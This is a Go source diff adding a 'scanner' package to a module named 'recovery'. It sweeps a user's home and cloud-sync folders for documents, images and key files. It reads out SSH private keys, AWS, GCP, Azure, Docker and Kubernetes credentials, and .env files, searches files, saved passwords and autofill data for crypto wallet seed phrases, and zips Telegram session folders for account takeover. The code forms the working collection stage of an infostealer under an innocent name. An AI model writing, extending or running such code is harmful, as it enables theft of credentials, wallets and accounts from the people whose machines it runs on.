".odt": true, ".ods": true, ".odp": true,
|
||||
// Plain text / markup
|
||||
".txt": true, ".rtf": true, ".md": true,
|
||||
".csv": true, ".tsv": true,
|
||||
// PDFs
|
||||
".pdf": true,
|
||||
// Archives (metadata only — content not fetched automatically)
|
||||
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
|
||||
// Credential / key files
|
||||
".kdbx": true, ".key": true, ".pem": true,
|
||||
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
|
||||
// Dotenv — commonly stores API keys and secrets
|
||||
".env": true,
|
||||
// Images — IDs, passports, screenshots of credentials, seed phrases
|
||||
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
|
||||
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
|
||||
".heic": true, ".heif": true,
|
||||
}
|
||||
|
||||
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
|
||||
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
|
||||
|
||||
type scanLocation struct {
|
||||
subPath string
|
||||
label string
|
||||
}
|
||||
|
||||
// ScanFiles walks common user locations and returns matching file metadata.
|
||||
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
|
||||
func ScanFiles() []types.FileResult {
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.FileResult
|
||||
seen := make(map[string]bool)
|
||||
|
||||
for _, loc := range getScanLocations() {
|
||||
dir := filepath.Join(home, loc.subPath)
|
||||
scanDir(dir, loc.label, 0, &results, seen)
|
||||
if len(results) >= maxFiles {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
|
||||
if depth > maxScanDepth || len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
name := e.Name()
|
||||
// skip hidden / system files
|
||||
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
|
||||
continue
|
||||
}
|
||||
|
||||
fullPath := filepath.Join(dir, name)
|
||||
|
||||
if e.IsDir() {
|
||||
scanDir(fullPath, label, depth+1, results, seen)
|
||||
continue
|
||||
}
|
||||
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
if !targetExtensions[ext] {
|
||||
continue
|
||||
}
|
||||
|
||||
if seen[fullPath] {
|
||||
continue
|
||||
}
|
||||
seen[fullPath] = true
|
||||
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if info.Size() > maxFileSizeList {
|
||||
continue
|
||||
}
|
||||
|
||||
var tags []string
|
||||
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
|
||||
tags = contentTags
|
||||
}
|
||||
|
||||
*results = append(*results, types.FileResult{
|
||||
Path: fullPath,
|
||||
Name: name,
|
||||
Ext: ext,
|
||||
Size: info.Size(),
|
||||
Modified: info.ModTime().Unix(),
|
||||
Dir: label,
|
||||
Tags: tags,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// looksLikeSeedLine returns true if every word is 3–8 lowercase letters.
|
||||
// BIP39 words are exclusively lowercase a–z with lengths in that range.
|
||||
func looksLikeSeedLine(words []string) bool {
|
||||
if !seedPhraseLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// FetchFile reads a file and returns its raw bytes.
|
||||
// Returns an error if the file exceeds MaxFetchSize or does not exist.
|
||||
func FetchFile(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("file not found")
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, fmt.Errorf("path is a directory")
|
||||
}
|
||||
if info.Size() > MaxFetchSize {
|
||||
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{".local/share", ".local/share"},
|
||||
{"Dropbox", "Dropbox"},
|
||||
{"snap", "Snap"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{`OneDrive\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const maxKeyFileSize = 512 * 1024 // 512KB
|
||||
|
||||
func gcpConfigDir(home string) string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return filepath.Join(home, "AppData", "Roaming", "gcloud")
|
||||
}
|
||||
return filepath.Join(home, ".config", "gcloud")
|
||||
}
|
||||
|
||||
func ScanKeys() []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
results = append(results, scanSSHKeys(home)...)
|
||||
results = append(results, scanAWSCredentials(home)...)
|
||||
results = append(results, scanGCPCredentials(home)...)
|
||||
results = append(results, scanAzureCredentials(home)...)
|
||||
results = append(results, scanDockerCredentials(home)...)
|
||||
results = append(results, scanKubeConfig(home)...)
|
||||
results = append(results, scanEnvFiles(home)...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanSSHKeys(home string) []types.KeyResult {
|
||||
sshDir := filepath.Join(home, ".ssh")
|
||||
entries, err := os.ReadDir(sshDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.KeyResult
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(sshDir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
|
||||
if isPrivateKey(content) {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
configPath := filepath.Join(sshDir, "config")
|
||||
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
|
||||
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh_config",
|
||||
Name: "config",
|
||||
Path: configPath,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func isPrivateKey(content string) bool {
|
||||
markers := []string{
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||||
"PuTTY-User-Key-File-",
|
||||
}
|
||||
for _, m := range markers {
|
||||
if strings.Contains(content, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func scanAWSCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
awsDir := filepath.Join(home, ".aws")
|
||||
|
||||
for _, name := range []string{"credentials", "config"} {
|
||||
path := filepath.Join(awsDir, name)
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "aws",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanGCPCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
gcpDir := gcpConfigDir(home)
|
||||
candidates := []string{
|
||||
filepath.Join(gcpDir, "application_default_credentials.json"),
|
||||
filepath.Join(gcpDir, "credentials.db"),
|
||||
filepath.Join(gcpDir, "properties"),
|
||||
}
|
||||
|
||||
for _, dir := range []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
} {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
|
||||
candidates = append(candidates, filepath.Join(dir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "gcp",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanAzureCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
azureDir := filepath.Join(home, ".azure")
|
||||
candidates := []string{
|
||||
filepath.Join(azureDir, "accessTokens.json"),
|
||||
filepath.Join(azureDir, "azureProfile.json"),
|
||||
filepath.Join(azureDir, "msal_token_cache.json"),
|
||||
filepath.Join(azureDir, "service_principal_entries.json"),
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "azure",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDockerCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
path := filepath.Join(home, ".docker", "config.json")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if strings.Contains(string(data), "auths") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "docker",
|
||||
Name: "config.json",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanKubeConfig(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
path := filepath.Join(home, ".kube", "config")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "kubernetes",
|
||||
Name: "config",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
return results
|
||||
}
|
||||
|
||||
func scanEnvFiles(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
searchDirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range searchDirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name != ".env" && !strings.HasPrefix(name, ".env.") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "env",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package scanner
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[scanner] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
// BIP39-valid word counts
|
||||
var validSeedLengths = map[int]bool{
|
||||
12: true, 15: true, 18: true, 21: true, 24: true,
|
||||
}
|
||||
|
||||
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
|
||||
|
||||
var seedScanFileExts = map[string]bool{
|
||||
".txt": true, ".md": true, ".csv": true, ".tsv": true,
|
||||
".log": true, ".rtf": true, ".json": true, ".xml": true,
|
||||
".env": true, ".cfg": true, ".conf": true, ".ini": true,
|
||||
".bak": true, ".old": true, ".tmp": true, ".note": true,
|
||||
".doc": true, ".nfo": true, ".asc": true, ".key": true,
|
||||
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
|
||||
}
|
||||
|
||||
// contentScanExts are the text formats read during the file listing scan to
|
||||
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
|
||||
var contentScanExts = seedScanFileExts
|
||||
|
||||
// privateKeyRe matches PEM private-key header lines. The optional algorithm
|
||||
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
|
||||
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
|
||||
|
||||
// contentFileTags reads a small text file once and returns the security tags
|
||||
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
|
||||
// contains a PEM private-key header. Returns nil when the file is not a
|
||||
// recognized text format or is too large to scan.
|
||||
func contentFileTags(path, ext string, size int64) []string {
|
||||
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tags []string
|
||||
content := strings.ToLower(string(data))
|
||||
if looksLikeSeedLine(strings.Fields(content)) {
|
||||
tags = append(tags, "seed")
|
||||
} else {
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
|
||||
tags = append(tags, "seed")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
// PEM headers are case-sensitive, so match against the raw bytes.
|
||||
if privateKeyRe.Match(data) {
|
||||
tags = append(tags, "key")
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
|
||||
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
|
||||
|
||||
// ScanSeeds searches collected data for BIP39 seed phrases.
|
||||
// Checks file contents, password values, and autofill values.
|
||||
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
|
||||
seen := make(map[string]bool)
|
||||
var results []types.SeedResult
|
||||
|
||||
// Scan files
|
||||
for _, f := range files {
|
||||
if f.Size > seedScanMaxFileSize || f.Size == 0 {
|
||||
continue
|
||||
}
|
||||
if !seedScanFileExts[f.Ext] {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(f.Path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(string(data)) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "file",
|
||||
Path: f.Path,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan passwords
|
||||
for _, p := range passwords {
|
||||
for _, phrase := range extractSeedPhrases(p.Password) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(p.Username) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan autofill values
|
||||
for _, a := range autofill {
|
||||
for _, phrase := range extractSeedPhrases(a.Value) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "autofill",
|
||||
Path: a.Name,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
|
||||
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
|
||||
func extractSeedPhrases(content string) []string {
|
||||
if len(content) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content = strings.ToLower(content)
|
||||
var found []string
|
||||
|
||||
// Strategy 1: full content as one phrase (file contains only the seed)
|
||||
if phrase := tryExtractPhrase(content); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
return found
|
||||
}
|
||||
|
||||
// Strategy 2: line-by-line (seed on one line)
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if phrase := tryExtractPhrase(line); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
|
||||
if phrase := tryNumberedList(content); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 4: comma-separated words
|
||||
if strings.Contains(content, ",") {
|
||||
normalized := strings.ReplaceAll(content, ",", " ")
|
||||
if phrase := tryExtractPhrase(normalized); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// tryExtractPhrase checks if text contains a valid seed phrase
|
||||
func tryExtractPhrase(text string) string {
|
||||
words := strings.Fields(text)
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
|
||||
// Try sliding window for phrases embedded in longer text
|
||||
for _, count := range []int{24, 21, 18, 15, 12} {
|
||||
if len(words) < count {
|
||||
continue
|
||||
}
|
||||
for i := 0; i <= len(words)-count; i++ {
|
||||
window := words[i : i+count]
|
||||
if isValidSeedPhrase(window) {
|
||||
return strings.Join(window, " ")
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// tryNumberedList extracts words from numbered list format:
|
||||
// "1. abandon\n2. ability\n3. able\n..."
|
||||
func tryNumberedList(content string) string {
|
||||
lines := strings.Split(content, "\n")
|
||||
var words []string
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
cleaned := numberedLineRe.ReplaceAllString(line, "")
|
||||
cleaned = strings.TrimSpace(cleaned)
|
||||
if cleaned == "" {
|
||||
continue
|
||||
}
|
||||
// Each numbered line should have exactly one word
|
||||
lineWords := strings.Fields(cleaned)
|
||||
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
|
||||
words = append(words, lineWords[0])
|
||||
}
|
||||
}
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isValidSeedPhrase(words []string) bool {
|
||||
if !validSeedLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if !isBIP39Word(w) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// isBIP39Word checks if a word matches BIP39 characteristics:
|
||||
// lowercase a-z only, 3-8 characters.
|
||||
func isBIP39Word(w string) bool {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func containsPhrase(phrases []string, phrase string) bool {
|
||||
for _, p := range phrases {
|
||||
if p == phrase {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type telegramPathConfig struct {
|
||||
name string
|
||||
subPath string
|
||||
base string
|
||||
}
|
||||
|
||||
var tdataSessionFiles = map[string]bool{
|
||||
"key_datas": true,
|
||||
"usertag": true,
|
||||
"settings0": true,
|
||||
"settings1": true,
|
||||
"configs": true,
|
||||
}
|
||||
|
||||
func isTdataSessionDir(name string) bool {
|
||||
if len(name) != 16 {
|
||||
return false
|
||||
}
|
||||
for _, c := range name {
|
||||
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func ScanTelegram() []types.TelegramResult {
|
||||
var results []types.TelegramResult
|
||||
|
||||
for _, tp := range getTelegramPaths() {
|
||||
base := resolveTelegramBase(tp.base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tdataDir := filepath.Join(base, tp.subPath)
|
||||
if _, err := os.Stat(tdataDir); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
accounts := findTelegramAccounts(tdataDir)
|
||||
for _, acc := range accounts {
|
||||
results = append(results, types.TelegramResult{
|
||||
Account: acc.account,
|
||||
Path: acc.path,
|
||||
Files: acc.files,
|
||||
Size: acc.size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
type telegramAccount struct {
|
||||
account string
|
||||
path string
|
||||
files int
|
||||
size int64
|
||||
}
|
||||
|
||||
func findTelegramAccounts(tdataDir string) []telegramAccount {
|
||||
var accounts []telegramAccount
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasKeyData := false
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && e.Name() == "key_datas" {
|
||||
hasKeyData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if hasKeyData {
|
||||
files, size := countTdataFiles(tdataDir)
|
||||
if files > 0 {
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: "Main",
|
||||
path: tdataDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if !isTdataSessionDir(name) {
|
||||
continue
|
||||
}
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
sessionEntries, err := os.ReadDir(sessionDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
hasData := false
|
||||
for _, se := range sessionEntries {
|
||||
if !se.IsDir() {
|
||||
hasData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasData {
|
||||
files, size := countTdataSessionFiles(sessionDir)
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: name,
|
||||
path: sessionDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return accounts
|
||||
}
|
||||
|
||||
func countTdataFiles(tdataDir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
}
|
||||
}
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func countTdataSessionFiles(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func ZipTelegram(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
// If this is a session subfolder (hex name), just zip its contents directly
|
||||
if isTdataSessionDir(filepath.Base(path)) {
|
||||
return ziputil.ZipDirectory(path)
|
||||
}
|
||||
|
||||
// Otherwise this is the tdata root — zip key files + session subdirs
|
||||
return zipTdataRoot(path)
|
||||
}
|
||||
|
||||
func zipTdataRoot(tdataDir string) ([]byte, error) {
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filesToZip []string
|
||||
|
||||
for _, e := range entries {
|
||||
name := e.Name()
|
||||
if e.IsDir() {
|
||||
if isTdataSessionDir(name) {
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
} else {
|
||||
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
|
||||
info, _ := e.Info()
|
||||
if info != nil && info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(filesToZip) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
return ziputil.ZipFiles(filesToZip, tdataDir)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
